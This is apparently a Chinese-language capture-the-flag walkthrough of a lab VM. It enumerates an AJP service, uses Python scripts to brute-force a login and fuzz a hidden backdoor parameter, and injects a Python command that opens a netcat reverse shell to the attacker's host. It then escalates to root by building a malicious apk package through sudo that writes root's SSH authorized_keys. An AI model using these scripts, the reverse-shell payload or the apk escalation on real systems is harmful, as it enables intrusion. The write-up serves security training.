端口扫描
root@kali2 [~] ➜ nmap -sS -p- --min-rate="5000" 192.168.31.210 [14:08:58]
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-16 14:09 CST
Nmap scan report for 192.168.31.210
Host is up (0.00066s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8010/tcp open xmpp
MAC Address: 08:00:27:55:0A:DB (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 17.28 seconds
扫描发现开放22 80 8010端口,web端啥也没有,8010端口没搜集到相关信息,猜测是某个服务默认端口被改了。于是手动测试。
AJP ForwardRequest
root@kali2 [/tmp] ➜ nc 192.168.31.210 8010
aaa
4ajpy#
root@kali2 [/tmp] ➜ nc 192.168.31.210 8010
123
4ajpy#
不管输入什么都返回这个东西,搜索AJP
AJP 是一种线协议。它是 HTTP 协议的优化版本,允许独立的 web 服务器如 Apache 与 Tomcat 通信。历史上,Apache 在提供静态内容方面比 Tomcat 快得多。这个想法是让 Apache 在可能的情况下提供静态内容,但将请求代理到 Tomcat 以获取与 Tomcat 相关的内容.
搜索得知有个Tomcat的LFI漏洞,打POC失败,该题可能魔改了。
https://github.com/argherna/ajp4py/blob/master/ajp4py/ajp_types.py
https://httpd.apache.org/docs/2.4/ja/mod/mod_proxy_ajp.html
不过脚本还是有用的,可以学习一下如何构造请求包,大概就是加一个魔数,然后一些header字段都用特殊的字符代替,以及字符串的格式也有一些要求。
结合了几个poc和官方文档以及GPT,写出来一个发送请求包的脚本
import socket
import struct
magic = b"\x12\x34"
def make_string(s):
if s is None:
return b'\xff\xff'
b = s.encode('utf-8')
return struct.pack('>H', len(b)) + b + b'\x00'
def build_forward_request(method, uri, query=""):
data=b"\x02" #prefix
data+=b"\x02" #GET
data += make_string("HTTP/1.1") + make_string(uri) + make_string(uri) + make_string("localhost")
data += make_string("localhost") + struct.pack(">H", 80) + b"\x00"
data += struct.pack(">H", 2)
data += struct.pack(">H", 0xA001) + make_string("text/html")
data += struct.pack(">H", 0xA00E) + make_string("Mozilla")
if query:
data += b"\x05" + make_string(query)
data += b"\xFF"
return data
def forwardrequest(host, port, uri, query):
sock = socket.create_connection((host, port))
req = build_forward_request(2, uri, query)
sock.sendall(magic + struct.pack(">H", len(req)) + req)
data = b""
try:
while True:
header = sock.recv(4)
if len(header) < 4 or not header.startswith(magic): break
length = struct.unpack(">H", header[2:])[0]
data += sock.recv(length)
finally:
sock.close()
return data
def extract_text(payload):
try:
return payload.split(b"\x03")[1][2:].split(b"\x00")[0].decode(errors="ignore")
except:
return payload.decode(errors="ignore")
def main():
host = "192.168.31.210"
port = 8010
path="/"
query=""
resp = forwardrequest(host, port, path, query)
print("[+]response:", extract_text(resp))
if __name__ == "__main__":
main()
root@kali2 [/tmp] ➜ python req.py
[+]response: Hello from AJP!
尝试扫一下目录
import socket
import struct
magic = b"\x12\x34"
def make_string(s):
if s is None:
return b'\xff\xff'
b = s.encode('utf-8')
return struct.pack('>H', len(b)) + b + b'\x00'
def build_forward_request(method, uri, query=""):
data = b"\x02" # prefix
data += b"\x02" # GET
data += make_string("HTTP/1.1") + make_string(uri) + make_string(uri) + make_string("localhost")
data += make_string("localhost") + struct.pack(">H", 80) + b"\x00"
data += struct.pack(">H", 2)
data += struct.pack(">H", 0xA001) + make_string("text/html")
data += struct.pack(">H", 0xA00E) + make_string("Mozilla")
if query:
data += b"\x05" + make_string(query)
data += b"\xFF"
return data
def forwardrequest(host, port, uri, query):
sock = socket.create_connection((host, port))
req = build_forward_request(2, uri, query)
sock.sendall(magic + struct.pack(">H", len(req)) + req)
data = b""
try:
while True:
header = sock.recv(4)
if len(header) < 4 or not header.startswith(magic):
break
length = struct.unpack(">H", header[2:])[0]
data += sock.recv(length)
finally:
sock.close()
return data
def extract_text(payload):
try:
return payload.split(b"\x03")[1][2:].split(b"\x00")[0].decode(errors="ignore")
except:
return payload.decode(errors="ignore")
def main():
host = "192.168.31.210"
port = 8010
wordlist = "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt"
with open(wordlist, "r", encoding="utf-8", errors="ignore") as f:
for line in f:
path = "/" + line.strip()
resp = forwardrequest(host, port, path, "")
if b"\x00\xc8" in resp: # 0x00c8 = 200
print(f"[200] {path}")
print(extract_text(resp))
print("-" * 50)
if __name__ == "__main__":
main()
root@kali2 [/tmp] ➜ python bp.py
[200] /
Hello from AJP!
--------------------------------------------------
[200] /login
No password parameter
--------------------------------------------------
[200] /test
Test success
--------------------------------------------------
[200] /backdoor
Not here!
扫到一个login目录和backdoor,login显示没有提供password参数,backdoor显示Not here
。于是尝试爆破一下密码
path="/login"
query="password=123456"
当请求密码为123456的时候显示
root@kali2 [/tmp] ➜ python req.py
[+]response: Password length is 5
密码5位,可以爆破
import socket
import struct
import itertools
import string
import time
magic = b"\x12\x34"
visible_chars = string.printable.strip() # 可见字符(不含空格换行)
def make_string(s):
if s is None:
return b'\xff\xff'
b = s.encode('utf-8')
return struct.pack('>H', len(b)) + b + b'\x00'
def build_forward_request(method, uri, query=""):
data = b"\x02" # prefix
data += b"\x02" # GET
data += make_string("HTTP/1.1") + make_string(uri) + make_string(uri) + make_string("localhost")
data += make_string("localhost") + struct.pack(">H", 80) + b"\x00"
data += struct.pack(">H", 2)
data += struct.pack(">H", 0xA001) + make_string("text/html")
data += struct.pack(">H", 0xA00E) + make_string("Mozilla")
if query:
data += b"\x05" + make_string(query)
data += b"\xFF"
return data
def forwardrequest(host, port, uri, query):
try:
sock = socket.create_connection((host, port), timeout=3)
req = build_forward_request(2, uri, query)
sock.sendall(magic + struct.pack(">H", len(req)) + req)
data = b""
while True:
header = sock.recv(4)
if len(header) < 4 or not header.startswith(magic):
break
length = struct.unpack(">H", header[2:])[0]
data += sock.recv(length)
sock.close()
return data
except Exception:
return b""
def extract_text(payload):
try:
return payload.split(b"\x03")[1][2:].split(b"\x00")[0].decode(errors="ignore")
except:
return payload.decode(errors="ignore")
def main():
host = "192.168.31.210"
port = 8010
path = "/login"
wordlist = "/tmp/password"
with open(wordlist, "r", encoding="utf-8", errors="ignore") as f:
for idx, line in enumerate(f):
password = line.strip()
query = f"password={password}"
resp = forwardrequest(host, port, path, query)
text = extract_text(resp)
if text and "length" not in text:
print(f"[+] 可能成功的密码: {password}")
print("[+] 响应内容:", text)
break
if idx % 100 == 0:
print(f"[*] 已尝试 {idx} 个密码... 当前: {password}")
if __name__ == "__main__":
main()
[+] 可能成功的密码: !@#$%
[+] 响应内容: /backdoooooooooooooooooor
爆破出来密码是!@#$%
,并且给了后门路径/backdoooooooooooooooooor
不过需要FUZZ参数
import socket
import struct
magic = b"\x12\x34"
def make_string(s):
if s is None:
return b'\xff\xff'
b = s.encode('utf-8')
return struct.pack('>H', len(b)) + b + b'\x00'
def build_forward_request(method, uri, query=""):
data = b"\x02" # prefix
data += b"\x02" # GET
data += make_string("HTTP/1.1") + make_string(uri) + make_string(uri) + make_string("localhost")
data += make_string("localhost") + struct.pack(">H", 80) + b"\x00"
data += struct.pack(">H", 2)
data += struct.pack(">H", 0xA001) + make_string("text/html")
data += struct.pack(">H", 0xA00E) + make_string("Mozilla")
if query:
data += b"\x05" + make_string(query)
data += b"\xFF"
return data
def forwardrequest(host, port, uri, query):
sock = socket.create_connection((host, port))
req = build_forward_request(2, uri, query)
sock.sendall(magic + struct.pack(">H", len(req)) + req)
data = b""
try:
while True:
header = sock.recv(4)
if len(header) < 4 or not header.startswith(magic):
break
length = struct.unpack(">H", header[2:])[0]
data += sock.recv(length)
finally:
sock.close()
return data
def extract_text(payload):
try:
return payload.split(b"\x03")[1][2:].split(b"\x00")[0].decode(errors="ignore")
except:
return payload.decode(errors="ignore")
def fuzz_with_dict(host, port, path, dict_path):
with open(dict_path, 'r') as f:
for line in f:
param = line.strip()
# Replace FUZZ with param=value
query = f"{param}=id"
print(f"[*] Fuzzing with: {query}")
resp = forwardrequest(host, port, path, query)
response_text = extract_text(resp)
if response_text:
print(f"[+] Found valid response: {query}")
print("[+] Response:", response_text)
break
def main():
host = "192.168.31.210"
port = 8010
path = "/backdoooooooooooooooooor"
dict_path = "/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt"
# Start fuzzing with the dictionary
fuzz_with_dict(host, port, path, dict_path)
if __name__ == "__main__":
main()
[*] Fuzzing with: closenotice=id
[*] Fuzzing with: cls=id
[*] Fuzzing with: cluster=id
[*] Fuzzing with: cm=id
[*] Fuzzing with: cmd=id
[+] Found valid response: cmd=id
[+] Response: <built-in function id>
拿到参数cmd,弹个shell
path="/backdoooooooooooooooooor"
query="cmd=__import__('os').popen('nc 192.168.31.34 4567 -e sh').read()"
拿到shell写个公钥维持一下权限
root@kali2 [~] ➜ ssh -i id_rsa [email protected]
localhost:~$ ls
server.py user.txt
localhost:~$ cat user.txt
flag{5a80870310e5a3bc10c00ef6d20a3cac}
5000端口blockchain
localhost:/opt/server$ netstat -tulnp
netstat: showing only processes with your user ID
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:8010 0.0.0.0:* LISTEN 2889/python3
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN -
tcp 0 0 :::22 :::* LISTEN -
tcp 0 0 :::80 :::* LISTEN -
本地开了个5000端口
在opt下找到源码
import socket
import threading
import json
import hashlib
FLAG = "flag{superuser/f124cf868d5e3fa5a7de39f80a2f9a0e}"
def fake_sign(data):
return hashlib.sha256(data.encode()).hexdigest()
blockchain = [
{
"index": 1,
"sender": "system",
"recipient": "alice",
"amount": 100,
"signature": fake_sign("system->alice:100"),
},
{
"index": 2,
"sender": "alice",
"recipient": "bob",
"amount": 50,
"signature": fake_sign("alice->bob:50"),
},
{
"index": 3,
"sender": "admin",
"recipient": "you",
"amount": 999,
"signature": fake_sign("admin->you:999"),
"note": f"congrats! here is your flag: {FLAG}"
}
]
hints = [
"[Hint 1] Use 'view' to inspect part of the blockchain.",
"[Hint 2] The signature is just sha256(sender->recipient:amount).",
"[Hint 3] Try forging a valid signature with this knowledge.",
"[Hint 4] What if admin sent you 999 coins?"
]
def handle_client(conn, addr):
conn.sendall(b"Welcome to SignatureChain CTF over TCP!\nType 'view', 'submit', 'hint', or 'exit'\n> ")
while True:
try:
data = conn.recv(4096)
if not data:
break
cmd = data.decode().strip()
if cmd == "exit":
conn.sendall(b"Goodbye!\n")
break
elif cmd == "view":
partial_chain = json.dumps(blockchain[:2], indent=2)
conn.sendall(partial_chain.encode() + b"\n> ")
elif cmd == "hint":
for h in hints:
conn.sendall(h.encode() + b"\n")
conn.sendall(b"> ")
elif cmd == "submit":
conn.sendall(b"Paste your JSON chain (end with EOF or Ctrl+D):\n")
user_input = b""
while True:
part = conn.recv(4096)
if not part:
break
user_input += part
if b"\x04" in part: # Ctrl+D (EOF)
break
try:
user_input = user_input.replace(b"\x04", b"")
user_chain = json.loads(user_input.decode())
for block in user_chain:
expected = fake_sign(f"{block['sender']}->{block['recipient']}:{block['amount']}")
if block["signature"] != expected:
conn.sendall(f"Invalid signature in block {block['index']}\n> ".encode())
break
else:
if any("flag" in str(b.get("note", "")) for b in user_chain):
conn.sendall(f"Valid chain! Here is your flag: {FLAG}\n".encode())
else:
conn.sendall(b"Valid chain, but no flag block found.\n")
conn.sendall(b"> ")
except Exception as e:
conn.sendall(f"JSON parse error: {str(e)}\n> ".encode())
else:
conn.sendall(b"Unknown command. Try 'view', 'hint', 'submit', or 'exit'\n> ")
except Exception:
break
conn.close()
def start_server(host="0.0.0.0", port=5000):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((host, port))
server.listen(5)
print(f"[+] Listening on {host}:{port}")
while True:
client, addr = server.accept()
threading.Thread(target=handle_client, args=(client, addr)).start()
if __name__ == "__main__":
start_server()
好像bug了,源码可以读,可以直接看到superuser的密码
superuser/f124cf868d5e3fa5a7de39f80a2f9a0e
直接登到superuser用户
~ $ sudo -l
User superuser may run the following commands on localhost:
(ALL) NOPASSWD: /sbin/apk
apk+abuild
~ $ sudo -l
User superuser may run the following commands on localhost:
(ALL) NOPASSWD: /sbin/apk
给了apk的sudo权限,说实话看了半天。
构造一个恶意的apk安装包然后任意写文件即可,我这里写的是root的公钥
先创建一个签名密钥
abuild-keygen -a
创建 APKBUILD 文件
mkdir -p /tmp/evilpkg && cd /tmp/evilpkg
cat > APKBUILD <<EOF
pkgname=evil
pkgver=1.0
pkgrel=1
pkgdesc="Evil root shell"
url="http://example.com"
arch="all"
license="MIT"
source="evil.sh"
options="!check !suidcheck" # 关键:禁用 SUID 检查
package() {
install -Dm755 "\$srcdir/evil.sh" "\$pkgdir/root/.ssh/authorized_keys"
}
EOF
然后把公钥写道这个evil.sh,不做展示。
然后构建apk
mkdir ~/packages/tmp
abuild checksum && abuild -r
会生成安装包
/home/superuser/packages/tmp/evilpkg/evil-1.0-r1.apk
apk安装一下写入公钥
/tmp/evilpkg $ sudo /sbin/apk add --allow-untrusted --root / ~/packages/tmp/x86_64/evil-1.0-r1.apk
root@kali2 [/tmp] ➜ ssh -i id_rsa [email protected]
Warning: Identity file id_rsa not accessible: No such file or directory.
localhost:~# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)